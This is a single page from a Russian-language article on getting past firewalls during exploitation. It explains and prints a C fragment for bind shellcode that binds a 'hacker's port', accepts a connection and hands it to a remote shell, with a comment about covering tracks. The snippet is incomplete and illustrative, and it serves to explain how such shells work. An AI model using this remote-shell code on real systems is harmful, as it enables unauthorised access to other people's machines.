Побег через брандмаузер


Рисунок2 bind.gif атакующий засылает


Программная реализация серверной части shell-кода совершенно тривиальна и в своем каноническом виде состоит из следующей последовательности системных вызовов: socket à bind à listen à accept, организованных приблизительно следующим образом:

 

#define HACKERS_PORT       666           // порт, который эксплоит будет слушать

// шаг 1: создаем сокет

if ((lsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;

 

// шаг 2: связываем сокет с локальным адресом

laddr.sin_family           = AF_INET;

laddr.sin_port                    = htons(HACKERS_PORT);

laddr.sin_addr.s_addr             = INADDR_ANY;

if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;

 

// шаг 3: слушаем

сокет

if (listen(lsocket, 0x100)) return -1; printf("wait for connection...\n");

 

// шаг 4: обрабатываем входящие подключения

csocket = accept(lsocket, (struct sockaddr *) &caddr, &caddr_size));

sshell(csocket[0], MAX_BUF_SIZE);        // удаленный shell

// шаг 5: подчищаем за собой следы

closesocket(lsocket);




- Начало -  - Назад -  - Вперед -